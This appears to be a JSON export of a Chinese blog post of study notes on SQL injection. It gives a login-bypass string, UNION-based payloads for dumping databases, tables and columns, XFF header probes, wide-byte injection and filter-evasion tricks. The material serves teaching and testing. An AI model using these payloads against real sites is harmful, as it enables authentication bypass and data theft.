{"id":36,"date":"2025-05-20T22:44:36","date_gmt":"2025-05-20T14:44:36","guid":{"rendered":"http:\/\/101.201.119.158\/?p=36"},"modified":"2025-05-22T21:00:37","modified_gmt":"2025-05-22T13:00:37","slug":"sql%e6%b3%a8%e5%85%a5","status":"publish","type":"post","link":"http:\/\/101.201.119.158\/?p=36","title":{"rendered":"SQL\u6ce8\u5165"},"content":{"rendered":"\n<h1 class=\"wp-block-heading\">SQL\u6ce8\u5165<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">\u539f\u7406\uff1a<\/h2>\n\n\n\n<p>\u5728\u6570\u636e\u8fdb\u884c\u4ea4\u4e92\u7684\u65f6\u5019\uff0c\u7528\u6237\u5728\u524d\u7aef\u4f20\u5165\u7684\u6570\u636e\u4f20\u5165\u5230\u540e\u53f0\u5904\u7406\u7684\u65f6\u5019\uff0c\u7531\u4e8e\u540e\u7aef\u6ca1\u6709\u8fdb\u884c\u505a\u4e25\u683c\u7684\u8fc7\u6ee4\/\u5224\u65ad\uff0c\u5bfc\u81f4\u5176\u4f20\u5165\u7684\u201c\u6570\u636e(data)\u201d\u62fc\u63a5\u5230\u540e\u7aefsql\u6570\u636e\u5e93\u67e5\u8be2\u8bed\u53e5\u5f53\u4e2d\uff0c\u88ab\u5f53\u505aSQL\u8bed\u53e5\u7684\u4e00\u90e8\u5206\u6267\u884c\uff0c\u5176\u672c\u8d28\u5c31\u662f\u628a\u7528\u6237\u8f93\u5165\u7684\u6570\u636e\u5f53\u4f5c\u4ee3\u7801\u6765\u6267\u884c\uff0c\u8fdd\u80cc\u4e86\u201c\u6570\u636e\u4e0e\u4ee3\u7801\u5206\u79bb\u201d\u7684\u539f\u5219<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u79cd\u7c7b\uff1a<\/h2>\n\n\n\n<p>\u5b57\u7b26\u578b\u6ce8\u5165\uff0c\u6570\u5b57\u578b\u6ce8\u5165\uff0c\u5e03\u5c14\u6ce8\u5165\uff0c\u62a5\u9519\u578b\u6ce8\u5165\uff0c\u5ef6\u65f6\u578b\u6ce8\u5165\uff0c\u5806\u53e0\u578b\u6ce8\u5165\uff0c\u5bbd\u5b57\u8282\u578b\u6ce8\u5165\uff0cXFF\u578b\u6ce8\u5165\uff0c\u8054\u5408\u578b\u6ce8\u5165<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u5371\u5bb3\uff1a<\/h2>\n\n\n\n<p>1:\u7528\u6237\u80fd\u63a7\u5236\u8f93\u5165\u7684\u5185\u5bb9\uff1b<\/p>\n\n\n\n<p>2:web\u5e94\u7528\u628a\u7528\u6237\u8f93\u5165\u7684\u5185\u5bb9\u5e26\u5165\u5230\u6570\u636e\u5e93\u6267\u884c\uff1b<\/p>\n\n\n\n<p>3:\u76d7\u53d6\u7f51\u7ad9\u7684\u654f\u611f\u4fe1\u606f; 4:\u7ed5\u8fc7\u7f51\u7ad9\u540e\u53f0\u8ba4\u8bc1 \u540e\u53f0\u767b\u5f55\u8bed\u53e5\uff1a SELECT * FROM admin WHERE Username=\u2018user\u2019 and Password=\u2018pass\u2019 \u4e07\u80fd\u5bc6\u7801: &#8216;or &#8216;1&#8217;=&#8217;1# ; 5:\u501f\u52a9SQL\u6ce8\u5165\u6f0f\u6d1e\u63d0\u6743\u83b7\u53d6\u7cfb\u7edf\u6743\u9650; 6:\u8bfb\u53d6\u6587\u4ef6\u4fe1\u606f\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">MYSQL\u6570\u636e\u5e93<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">\u5e38\u4f7f\u7528\u7684\u6570\u636e\u5e93\uff1a<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\">user()<\/h4>\n\n\n\n<p>\u8fd4\u56de\u5f53\u524d\u4f7f\u7528\u6570\u636e\u5e93\u7684\u7528\u6237\uff0c\u4e5f\u5c31\u662f\u7f51\u7ad9\u914d\u7f6e\u6587\u4ef6\u4e2d\u8fde\u63a5\u6570\u636e\u5e93\u7684\u8d26\u53f7<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">version()<\/h4>\n\n\n\n<p>\u8fd4\u56de\u5f53\u524d\u7248\u672c\u4fe1\u606f<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">database()<\/h4>\n\n\n\n<p>\u8fd4\u56de\u5f53\u524d\u4f7f\u7528\u7684\u6570\u636e\u5e93\uff0c\u53ea\u6709\u5728use\u547d\u4ee4\u9009\u62e9\u4e00\u4e2a\u6570\u636e\u5e93\u4e4b\u540e\uff0c\u624d\u80fd\u67e5\u5230<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">group_concat()<\/h4>\n\n\n\n<p>\u628a\u6570\u636e\u5e93\u4e2d\u7684\u67d0\u5217\u6570\u636e\u6216\u67d0\u51e0\u5217\u6570\u636e\u5408\u5e76\u4e3a\u4e00\u4e2a\u5b57\u7b26\u4e32<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">@@datadir \u6570\u636e\u5e93\u8def\u5f84<\/h4>\n\n\n\n<h4 class=\"wp-block-heading\">@@version_compile_os \u64cd\u4f5c\u7cfb\u7edf\u7248\u672c<\/h4>\n\n\n\n<h4 class=\"wp-block-heading\">schema_name\u548cinformation_schema.schemata<\/h4>\n\n\n\n<p><strong>information_schema.schemata<\/strong>\u662fmysql\u9ed8\u8ba4\u7cfb\u7edf\u5e93\uff0c\u5b58\u50a8 MySQL \u5b9e\u4f8b\u4e2d\u6240\u6709\u6570\u636e\u5e93\uff08\u5728 MySQL \u91cc\uff0c\u6a21\u5f0f <code>schema<\/code> \u7b49\u540c\u4e8e\u6570\u636e\u5e93 \uff09\u7684\u76f8\u5173\u4fe1\u606f\uff0c\u7c7b\u4f3c\u6570\u636e\u5e93\u7684\u76ee\u5f55\uff0c\u53ef\u7528\u4e8e\u67e5\u8be2\u6570\u636e\u5e93\u5143\u6570\u636e\u3002\u6bd4\u5982\u4f7f\u7528 <code>SELECT schema_name FROM information_schema.schemata;<\/code> \u80fd\u83b7\u53d6\u6240\u6709\u6570\u636e\u5e93\u540d\u79f0\u5217\u8868 \u3002<\/p>\n\n\n\n<p><strong>schema_name<\/strong>\uff1a\u5b83\u4ee3\u8868\u6570\u636e\u5e93\uff08\u5728 MySQL \u4e2d\uff0c\u6570\u636e\u5e93\u4e5f\u53ef\u79f0\u4e3a\u6a21\u5f0f <code>schema<\/code> \uff09\u7684\u540d\u79f0 \u3002\u901a\u8fc7\u67e5\u8be2 <code>information_schema.schemata<\/code> \u8868\u4e2d\u7684 <code>schema_name<\/code> \u5217\uff0c\u53ef\u4ee5\u83b7\u53d6\u5f53\u524d MySQL \u5b9e\u4f8b\u4e2d\u6240\u6709\u6570\u636e\u5e93\u7684\u540d\u79f0\u5217\u8868\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">MYSQL\u6570\u636e\u5e93\u6ce8\u5165\u7684\u6d41\u7a0b<\/h3>\n\n\n\n<p>1\u3001\u5224\u65ad\u6709\u65e0\u95ed\u5408 and 1=1 and 1=2 \/\/\u7ed3\u679c\u548c\u7b2c\u4e00\u4e2a\u4e00\u6837\u8bf4\u660e\u9700\u8981\u95ed\u5408\uff0c\u53cd\u4e4b\u65e0\u95ed\u5408 \u6709\u95ed\u5408\u5219\u9700\u8981\u7528\u5230 &#8211;+\u95ed\u5408 2\u3001\u731c\u89e3\u5b57\u6bb5 order by 10 \/\/\u91c7\u7528\u4e8c\u5206\u6cd5 3\u3001\u5224\u65ad\u6570\u636e\u56de\u663e\u4f4d\u7f6e -1 union select 1\uff0c2\uff0c3\uff0c4\uff0c5&#8230;. \/\/\u53c2\u6570\u7b49\u53f7\u540e\u9762\u52a0-\u8868\u793a\u4e0d\u663e\u793a\u5f53\u524d\u6570\u636e 3\u3001\u83b7\u53d6\u5f53\u524d\u6570\u636e\u5e93\u540d\u3001\u7528\u6237\u3001\u7248\u672c union select version(),database()\uff0cuser()\uff0c4&#8230;&#8230;<\/p>\n\n\n\n<p>4\u3001\u83b7\u53d6\u5168\u90e8\u6570\u636e\u5e93\u540d<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">union select 1,2,(select group_concat(schema_name)from information_schema.schemata)<\/pre>\n\n\n\n<p>5\u3001\u83b7\u53d6\u8868\u540d<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">union select 1,2,(select group_concat(table_name)from information_schema.tables where table_schema='\u5e93\u540d'<\/pre>\n\n\n\n<p>6\u3001\u83b7\u53d6\u5b57\u6bb5\u540d<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">union select 1,2,(select group_concat(column_name)from information_schema.columns where table_name='\u8868\u540d'<\/pre>\n\n\n\n<p>7\u3001\u83b7\u53d6\u6570\u636e union select 1,2,(select group_concat(\u5b57\u6bb51\uff0c\u5b57\u6bb52)from \u5e93\u540d.\u8868\u540d \u51fd\u6570\u540d\u79f0\uff1a \u51fd\u6570\u529f\u80fd\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\u67e5 \u5e93\uff1a select schema_name from information_schema.schema<br>\u67e5 \u8868\uff1a select table_name from information_schema.tables where table\\_schema=\u5e93\u540d<br>\u67e5 \u5217\uff1a select column_name from information_schema.columns where table\\_name=\u8868\u540d<br>\u67e5\u6570\u636e\uff1a select \u5217\u540d from \u5e93\u540d.\u8868\u540d<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">SQL\u6ce8\u5165\u601d\u8def<\/h3>\n\n\n\n<h4 class=\"wp-block-heading\">\u5224\u65ad\u6ce8\u5165\u70b9<\/h4>\n\n\n\n<p>\u5728GET\u53c2\u6570\u3001POST\u53c2\u6570\u3001Cookie\u3001Referer\u3001XFF\u3001UA\u7b49\u5730\u65b9\u5c1d\u8bd5\u63d2\u5165\u4ee3\u7801\u3001\u7b26\u53f7\u6216\u8bed\u53e5\uff0c\u5c1d\u8bd5\u662f\u5426\u5b58\u5728\u6570\u636e\u5e93\u53c2\u6570\u8bfb\u53d6\u884c\u4e3a\uff0c\u4ee5\u53ca\u80fd\u5426\u5bf9\u5176\u53c2\u6570\u4ea7\u751f\u5f71\u54cd\uff0c\u5982\u4ea7\u751f\u5f71\u54cd\u5219\u8bf4\u660e\u5b58\u5728\u6ce8\u5165\u70b9\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">sql\u6ce8\u5165\u70b9\u7c7b\u578b<\/h4>\n\n\n\n<p>1.get\u6ce8\u5165 \u5728get\u4f20\u53c2\u65f6\u5199\u5165\u53c2\u6570\uff0c\u5c06SQl\u8bed\u53e5\u95ed\u5408\uff0c\u540e\u9762\u52a0\u5199\u5165\u81ea\u5df1\u7684SQL\u8bed\u53e5\u3002 2.post\u6ce8\u5165 \u901a\u8fc7post\u4f20\u53c2\uff0c\u539f\u7406\u4e0eget\u4e00\u6837\uff0c\u91cd\u8981\u7684\u662f\u5224\u65ad\u6211\u4eec\u6240\u8f93\u5165\u7684\u4fe1\u606f\u662f\u5426\u4e0e\u6570\u636e\u5e93\u4ea7\u751f\u4ea4\u4e92\uff0c\u5176\u6b21\u5224\u65adSQL\u8bed\u53e5\u662f\u5982\u4f55\u95ed\u5408\u7684\u3002 \u6709\u4e9b\u7f51\u7ad9\u901a\u8fc7\u67e5\u8be2cookie\u5224\u65ad\u7528\u6237\u662f\u5426\u767b\u5f55\uff0c\u9700\u8981\u4e0e\u6570\u636e\u5e93\u8fdb\u884c\u4ea4\u4e92\uff0c\u6211\u4eec\u53ef\u4ee5\u4fee\u6539cookie\u7684\u503c\uff0c\u67e5\u627e\u6211\u4eec\u6240\u9700\u8981\u7684\u4e1c\u897f\u3002\u6216\u8005\u901a\u8fc7\u62a5\u9519\u6ce8\u5165\u662f\u7f51\u9875\u8fd4\u56de\u62a5\u9519\u4fe1\u606f\u3002 3.Referer\u6ce8\u5165 Referer\u6b63\u786e\u5199\u6cd5\u5e94\u8be5\u662fReferrer,\u56e0\u4e3ahttp\u89c4\u5b9a\u65f6\u5199\u9519\u53ea\u80fd\u5c06\u9519\u5c31\u9519\uff0c\u6709\u4e9b\u7f51\u7ad9\u4f1a\u8bb0\u5f55ip\u548c\u8bbf\u95ee\u8def\u5f84\uff0c\u4f8b\u5982\u767e\u5ea6\u5c31\u662f\u901a\u8fc7Referer\u6765\u7edf\u8ba1\u7f51\u7ad9\u6d41\u91cf\uff0c\u6211\u4eec\u5c06\u8bbf\u95ee\u8def\u5f84\u8fdb\u884cSQL\u6ce8\u5165\uff0c\u540c\u6837\u4e5f\u53ef\u4ee5\u5f97\u5230\u60f3\u8981\u7684\u4fe1\u606f\u3002 4.XFF\u6ce8\u5165 \u5728\u7528\u6237\u767b\u5f55\u6ce8\u518c\u6a21\u5757\u5728 HTTP \u5934\u4fe1\u606f\u6dfb\u52a0 X-Forwarded-for: 9.9.9.9&#8242; \uff0c\u7528\u6237\u5728\u6ce8\u518c\u7684\u65f6\u5019\uff0c\u5982\u679c\u5b58\u5728\u5b89\u5168\u9690 \u60a3\uff0c\u4f1a\u51fa\u73b0\u9519\u8bef\u9875\u9762\u6216\u8005\u62a5\u9519\u3002\u4ece\u800c\u5bfc\u81f4\u6ce8\u518c\u6216\u8005\u767b\u5f55\u7528\u6237\u5931\u8d25\u3002 burpsuite \u6293\u5305\uff0c\u63d0\u4ea4\u8f93\u5165\u68c0\u6d4b\u8bed\u53e5\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">X-Forwarded-for: 127.0.0.1'and 1=1#<br>X-Forwarded-for: 127.0.0.1'and 1=2# \/\/\u4e24\u6b21\u63d0\u4ea4\u8fd4\u56de\u4e0d\u4e00\u6837\uff0c\u5b58\u5728 SQL \u6ce8\u5165\u6f0f\u6d1e<\/pre>\n\n\n\n<p>5.UA\u6ce8\u5165<\/p>\n\n\n\n<p>\u8f93\u5165\u70b9\u5728User-Agent<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u5224\u65ad\u6570\u636e\u5e93\u7684\u7c7b\u578b<\/h4>\n\n\n\n<p>\u5224\u65ad\u7f51\u7ad9\u4f7f\u7528\u7684\u662f\u54ea\u4e2a\u6570\u636e\u5e93\uff0c\u5e38\u89c1\u6570\u636e\u5e93\u5982\uff1a MySQL\u3001MSSQL(\u5373SQLserver)\u3001Oracle\u3001Access\u3001PostgreSQL\u3001db2\u7b49\u7b49<\/p>\n\n\n\n<h5 class=\"wp-block-heading\">\u65b9\u6cd5\uff1a<\/h5>\n\n\n\n<p>\u25cf \u4f7f\u7528\u6570\u636e\u5e93\u7279\u6709\u7684\u51fd\u6570\u6765\u5224\u65ad \u25cf \u4f7f\u7528\u6570\u636e\u5e93\u4e13\u5c5e\u7b26\u53f7\u6765\u5224\u65ad\uff0c\u5982\u6ce8\u91ca\u7b26\u53f7\u3001\u591a\u8bed\u53e5\u67e5\u8be2\u7b26\u7b49\u7b49 \u25cf \u62a5\u9519\u4fe1\u606f\u5224\u65ad \u25cf \u6570\u636e\u5e93\u7279\u6027\u5224\u65ad<\/p>\n\n\n\n<h5 class=\"wp-block-heading\">\u7aef\u53e3\u626b\u63cf<\/h5>\n\n\n\n<p>\u5982\u679c\u53ef\u4ee5\u5bf9\u4e3b\u673a\u8fdb\u884c\u7aef\u53e3\u626b\u63cf\uff0c\u53ef\u4ee5\u6839\u636e\u662f\u5426\u5f00\u542f\u5bf9\u5e94\u7aef\u53e3\uff0c\u6765\u5927\u6982\u5224\u65ad\u6570\u636e\u5e93\u7c7b\u578b\u3002 Oracle \u9ed8\u8ba4\u7aef\u53e3\u53f7\uff1a1521 SQL Server \u9ed8\u8ba4\u7aef\u53e3\u53f7\uff1a1433 MySQL \u9ed8\u8ba4\u7aef\u53e3\u53f7\uff1a3306 PostgreSql \u9ed8\u8ba4\u7aef\u53e3\u53f7\uff1a5432<\/p>\n\n\n\n<h5 class=\"wp-block-heading\">\u7f51\u7ad9\u7c7b\u578b\u4e0e\u6570\u636e\u5e93\u7684\u8054\u7cfb<\/h5>\n\n\n\n<p>asp\uff1aSQL Server\uff0cAccess .net \uff1aSQL Server php\uff1aMysql\uff0cPostgreSql java\uff1aOracle\uff0cMysql<\/p>\n\n\n\n<h5 class=\"wp-block-heading\">\u6839\u636e\u6ce8\u91ca\u7b26\u5224\u65ad<\/h5>\n\n\n\n<p>\u201c#\u201d\u662fMySQL\u4e2d\u7684\u6ce8\u91ca\u7b26\uff0c\u8fd4\u56de\u9519\u8bef\u8bf4\u660e\u8be5\u6ce8\u5165\u70b9\u53ef\u80fd\u4e0d\u662fMySQL\uff0c\u53e6\u5916\u4e5f\u652f\u6301\u2019&#8211; &#8216;,\u548c\/* *\/\u6ce8\u91ca\uff08\u6ce8\u610fmysql\u4f7f\u7528&#8211; \u65f6\u9700\u8981\u540e\u9762\u6dfb\u52a0\u7a7a\u683c\uff09<\/p>\n\n\n\n<p>\u201cnull\u201d\u548c\u201c%00\u201d\u662fAccess\u652f\u6301\u7684\u6ce8\u91ca\u3002<\/p>\n\n\n\n<p>\u201c&#8211;\u201d\u662fOracle\u548cMSSQL\u652f\u6301\u7684\u6ce8\u91ca\u7b26\uff0c\u5982\u679c\u8fd4\u56de\u6b63\u5e38\uff0c\u5219\u8bf4\u660e\u4e3a\u8fd9\u4e24\u79cd\u6570\u636e\u5e93\u7c7b\u578b\u4e4b\u4e00\u3002<\/p>\n\n\n\n<p>\u201c;\u201d\u662f\u5b50\u53e5\u67e5\u8be2\u6807\u8bc6\u7b26\uff0cOracle\u4e0d\u652f\u6301\u591a\u884c\u67e5\u8be2\uff0c\u56e0\u6b64\u5982\u679c\u8fd4\u56de\u9519\u8bef\uff0c\u5219\u8bf4\u660e\u5f88\u53ef\u80fd\u662fOracle\u6570\u636e\u5e93\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u5224\u65ad\u53c2\u6570\u6570\u636e\u7c7b\u578b<\/h4>\n\n\n\n<p>\u901a\u8fc7+1\u3001-1\u3001and 1=1\u3001and 1=2\u3001\u6ce8\u91ca\u7b26\u3002\u4e0e\u5176\u5404\u79cd\u53d8\u79cd\u5982\u4e0e\u5404\u79cd\u7b26\u53f7\u7ed3\u5408\u7684and 1=1\u3001and &#8216;1&#8217;=&#8217;1\u7b49\u7b49\u5224\u65ad\u53c2\u6570\u6570\u636e\u7c7b\u578b\u3002\u5148\u5224\u65ad\u662f\u5426\u662f\u6574\u578b\uff0c\u5982\u679c\u4e0d\u662f\u6574\u578b\u5219\u4e3a\u5b57\u7b26\u578b\uff0c\u5b57\u7b26\u578b\u5b58\u5728\u591a\u79cd\u60c5\u51b5\uff0c\u9700\u8981\u4f7f\u7528\u5355\u5f15\u53f7\u3010&#8217;\u3011\u3001\u53cc\u5f15\u53f7\u3010&#8221;\u3011\u3001\u62ec\u53f7\u3010()\u3011\u591a\u79cd\u7ec4\u5408\u65b9\u5f0f\u8fdb\u884c\u8bd5\u63a2\u3002 \u7c7b\u4f3c\u5224\u65ad\u95ed\u5408\u65b9\u5f0f<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\u4e3e\u4e2a\u6817\u5b50\uff1aid=1 and 1=1\u56de\u663e\u6b63\u5e38 id=1 and1=2\u56de\u663e\u9519\u8bef\uff08\u5224\u65ad\u4e3a\u6574\u5f62\uff09<br>id=1 and 1=1\u548cid=1 and 1=2\u56de\u663e\u6b63\u5e38\uff08\u5224\u65ad\u4e3a\u5b57\u7b26\u578b\u63a5\u4e0b\u6765\u5224\u65ad\u95ed\u5408\u65b9\u5f0f\uff09<br>id=1' and '1'='1\u56de\u663e\u6b63\u786eid=1' and '1'='2\u56de\u663e\u9519\u8bef\uff08\u5224\u65ad\u4e3a\u3010'\u3011\u95ed\u5408\uff09<br>id=1\" and \"1\"=\"1 \u56de\u663e\u6b63\u5e38 id=1\" and \"1\"=\"2\u56de\u663e\u9519\u8bef\uff08\u5224\u65ad\u4e3a\u3010\"\u3011\u95ed\u5408\uff09<br>\u3010\u539f\u56e0\u540c\u4e0a\u3011<br>\u5224\u65ad\u4e3a\u95ed\u5408\u65b9\u5f0f\u4e3a\u3010'\u3011\u578b<br>\u4ee5\u4e0a\u6ce8\u5165\u4e0d\u6210\u529f\u7684\u65f6\u5019\u5c1d\u8bd5<br>1%df\u2019 \u6b64\u4e3a\u5bbd\u5b57\u8282\u6ce8\u5165<br>\u53c2\u6570\u7c7b\u578b\u4e00\u822c\u6709\u6570\u503c\u578b\uff0c\u5b57\u7b26\u578b<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\">\u6570\u503c\u578b<\/h5>\n\n\n\n<p>\u524d\u7aef\u9875\u9762\u8f93\u5165\u7684\u53c2\u6570\u662f\u6570\u5b57\uff0c\u800c\u540e\u7aef\u5bf9\u5e94\u7684SQL\u8bed\u53e5\u5982\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\u5b57\u6bb5\u7c7b\u578b\u662f\u6570\u503c\u578b\uff0c\u8fd9\u79cd\u5c31\u662f\u6570\u503c\u578b\u6ce8\u5165\u3002<br>select * from user where id = 1; \u5199\u5165and1=1 \u4e0eand1=2\u56de\u663e\u4e0d\u76f8\u540c\u8bf4\u660e\u540e\u9762\u7684and1=1\u548cand1=2\u5bf9\u7f51\u9875\u9020\u6210\u4e86\u5f71\u54cd\uff0c\u5224\u65ad\u4e3a\u6570\u503c\u578b<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\">\u5b57\u7b26\u578b<\/h5>\n\n\n\n<p>\u524d\u53f0\u9875\u9762\u8f93\u5165\u7684\u53c2\u6570\u662f\u5b57\u7b26\u4e32\u3002\u540e\u53f0\u5bf9\u5e94\u7684SQL\u5982\u4e0b\uff0c\u5b57\u6bb5\u7c7b\u578b\u662f\u5b57\u7b26\u578b\uff0c\u8fd9\u79cd\u5c31\u662f\u5b57\u7b26\u578b\u6ce8\u5165\u3002<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">select * from user where username = 'zhangsan' and password = '123abc';(\u8fd9\u91cc\u7684*\u662f\u8fdb\u884c\u6b63\u5219\u5339\u914d)<\/pre>\n\n\n\n<p>\u5b57\u7b26\u53ef\u4ee5\u4f7f\u7528\u5355\u5f15\u53f7\u5305\u88f9\uff0c\u4e5f\u53ef\u4ee5\u4f7f\u7528\u53cc\u5f15\u53f7\u5305\u88f9\uff0c\u5f53\u7136\u8fd8\u6709\u4e00\u4e9b\u5176\u4ed6\u7684\uff0c\u6bd4\u5982\u62ec\u53f7\u5305\u88f9(\u5f53\u7136\u8fd8\u53ef\u4ee5\u4efb\u610f\u5339\u914d\uff0c\u6bd4\u5982&#8217;+))<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">select * from user where username = 'zhangsan';<br>select * from user where username = \"zhangsan\";<br>select * from user where username = (zhangsan);<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">\u5224\u65ad\u6570\u636e\u5e93\u8bed\u53e5\u8fc7\u6ee4\u60c5\u51b5<\/h4>\n\n\n\n<p>\u6b63\u5e38\u8f93\u5165sql\u8bed\u53e5\u5982\u679c\u901a\u8fc7\u67e5\u770b\u56de\u663e\u6765\u5224\u65ad\u8bed\u53e5\u662f\u5426\u88ab\u8fc7\u6ee4<\/p>\n\n\n\n<h5 class=\"wp-block-heading\">\u5224\u65ad\u5217\u6570<\/h5>\n\n\n\n<p>\u5982\u679corder by\u88ab\u8fc7\u6ee4\u5219\u5c1d\u8bd5\u7ed5\u8fc7\uff0c\u5982\u679c\u65e0\u6cd5\u7ed5\u8fc7\u5c31\u65e0\u6cd5\u5f97\u5230\u5217\u6570\uff0c\u8fd9\u65f6\u5c31\u65e0\u6cd5\u4f7f\u7528\u8054\u5408\u67e5\u8be2\u6ce8\u5165\u3002<\/p>\n\n\n\n<h5 class=\"wp-block-heading\"><strong>\u5224\u65ad\u663e\u793a\u4f4d<\/strong><\/h5>\n\n\n\n<p>\u5982\u679c\u9875\u9762\u6ca1\u6709\u663e\u793a\u4f4d\uff0c\u540c\u6837\u65e0\u6cd5\u4f7f\u7528\u8054\u5408\u67e5\u8be2\u6ce8\u5165\u3002<\/p>\n\n\n\n<h5 class=\"wp-block-heading\"><strong>\u62a5\u9519\u4fe1\u606f<\/strong><\/h5>\n\n\n\n<p>\u5982\u679c\u6ca1\u6709\u62a5\u9519\u4fe1\u606f\u8fd4\u56de\uff0c\u5219\u65e0\u6cd5\u4f7f\u7528\u62a5\u9519\u6ce8\u5165\u3002<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u7ed5\u8fc7\u8fc7\u6ee4<\/h4>\n\n\n\n<p>\u6b63\u5e38\u8fdb\u884csql\u6ce8\u5165\uff0c\u901a\u8fc7\u56de\u663e\u6765\u5224\u65ad\u6570\u636e\u662f\u5426\u88ab\u8fc7\u6ee4<\/p>\n\n\n\n<h5 class=\"wp-block-heading\">\u8fc7\u6ee4\u5173\u952e\u5b57<\/h5>\n\n\n\n<h6 class=\"wp-block-heading\">\u5206\u5272<\/h6>\n\n\n\n<pre class=\"wp-block-preformatted\">sel&lt;&gt;ect sel\/**\/ect \u4f46\u662f\u4e0d\u77e5\u9053\u4e3a\u4ec0\u4e48\u6211\u7684phpstudy\u91cc\u9762\u7684mysql\u91cc\u9762\u51fa\u4e0d\u6765(\u6c42\u5927\u4f6c\u89e3\u91ca)<\/pre>\n\n\n\n<h6 class=\"wp-block-heading\">\u53cc\u5199<\/h6>\n\n\n\n<pre class=\"wp-block-preformatted\">selselectect<\/pre>\n\n\n\n<h6 class=\"wp-block-heading\">\u7f16\u7801\u7ed5\u8fc7<\/h6>\n\n\n\n<pre class=\"wp-block-preformatted\">url\u7f16\u7801\u7ed5\u8fc7<br>16\u8fdb\u5236\u7f16\u7801\u7ed5\u8fc7<br>ASCII\u7f16\u7801\u7ed5\u8fc7<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\">\u8fc7\u6ee4\u9017\u53f7<\/h5>\n\n\n\n<h6 class=\"wp-block-heading\">\u7b80\u5355\u6ce8\u5165\u53ef\u4ee5\u4f7f\u7528join\u65b9\u6cd5\u7ed5\u8fc7<\/h6>\n\n\n\n<pre class=\"wp-block-preformatted\">union select 1,2,3 -&gt; union select * from (select 1)a join (select 2)b join (select 3)<\/pre>\n\n\n\n<h6 class=\"wp-block-heading\">\u5bf9\u4e8e\u76f2\u6ce8\u7684\u90a3\u51e0\u4e2a\u51fd\u6570substr(),mid(),limit<\/h6>\n\n\n\n<pre class=\"wp-block-preformatted\">substr\u548cmid()\u53ef\u4ee5\u4f7f\u7528from for\u7684\u65b9\u6cd5\u89e3\u51b3<br>substr(str from pos for len) \/\/\u5728str\u4e2d\u4ece\u7b2cpos\u4f4d\u622a\u53d6len\u957f\u7684\u5b57\u7b26<br>mid(str from pos for len)\/\/\u5728str\u4e2d\u4ece\u7b2cpos\u4f4d\u622a\u53d6len\u957f\u7684\u5b57\u7b26<br>limit\u53ef\u4ee5\u7528offset\u7684\u65b9\u6cd5\u7ed5\u8fc7<br>limit 1 offset 1<br>\u4f7f\u7528substring\u51fd\u6570\u4e5f\u53ef\u4ee5\u7ed5\u8fc7<br>substring(str from pos) \/\/\u8fd4\u56de\u5b57\u7b26\u4e32str\u7684\u7b2cpos\u4e2a\u5b57\u7b26\uff0c\u7d22\u5f15\u4ece1\u5f00\u59cb<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\">\u8fc7\u6ee4\u7a7a\u683c<\/h5>\n\n\n\n<pre class=\"wp-block-preformatted\">\uff081\uff09\u53cc\u7a7a\u683c <br>\uff082\uff09\/**\/ <br>\uff083\uff09\u7528\u62ec\u53f7\u7ed5\u8fc7 <br>\uff084\uff09\u7528\u56de\u8f66\u4ee3\u66ff \/\/ascii\u7801\u4e3achr(13)&amp;chr(10)\uff0curl\u7f16\u7801\u4e3a%0d%0a<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\">\u8fc7\u6ee4\u7b49\u53f7<\/h5>\n\n\n\n<pre class=\"wp-block-preformatted\">\u5982\u679c\u7b49\u53f7\u88ab\u8fc7\u6ee4\u4e86\u6211\u4eec\u53ef\u4ee5\u7528 like \u4ee3\u66ff<br>\u4f7f\u7528like \u3001rlike \u3001regexp \u6216\u8005 \u4f7f\u7528&lt; \u6216\u8005 &gt;<\/pre>\n\n\n\n<h5 class=\"wp-block-heading\">\u8fc7\u6ee4\u5927\u4e8e\u5c0f\u4e8e\u53f7<\/h5>\n\n\n\n<pre class=\"wp-block-preformatted\">\u76f2\u6ce8\u4e2d\u6211\u4eec\u7ecf\u5e38\u9700\u8981\u7528\u5230\u6bd4\u8f83\u7b26\uff0c\u5982\u679c\u4ed6\u4eec\u88ab\u8fc7\u6ee4\u4e86\uff0c\u6211\u4eec\u53ef\u4ee5\u7528\u4ee5\u4e0b\u51e0\u79cd\u65b9\u6cd5\u7ed5\u8fc7\uff1a<br>1\uff09greatest(n1,n2,n3,...)        \/\/\u8fd4\u56de\u5176\u4e2d\u7684\u6700\u5927\u503c<br>\uff082\uff09strcmp(str1,str2)        \/\/\u5f53str1=str2\uff0c\u8fd4\u56de0\uff0c\u5f53str1&gt;str2\uff0c\u8fd4\u56de1\uff0c\u5f53str1&lt;str2\uff0c\u8fd4\u56de-1<br>\uff083\uff09in \u64cd\u4f5c\u7b26<br>\uff084\uff09between &nbsp; and        \/\/\u9009\u53d6\u4ecb\u4e8e\u4e24\u4e2a\u503c\u4e4b\u95f4\u7684\u6570\u636e\u8303\u56f4\u3002\u8fd9\u4e9b\u503c\u53ef\u4ee5\u662f\u6570\u503c\u3001\u6587\u672c\u6216\u8005\u65e5\u671f\u3002<\/pre>\n\n\n\n<h5 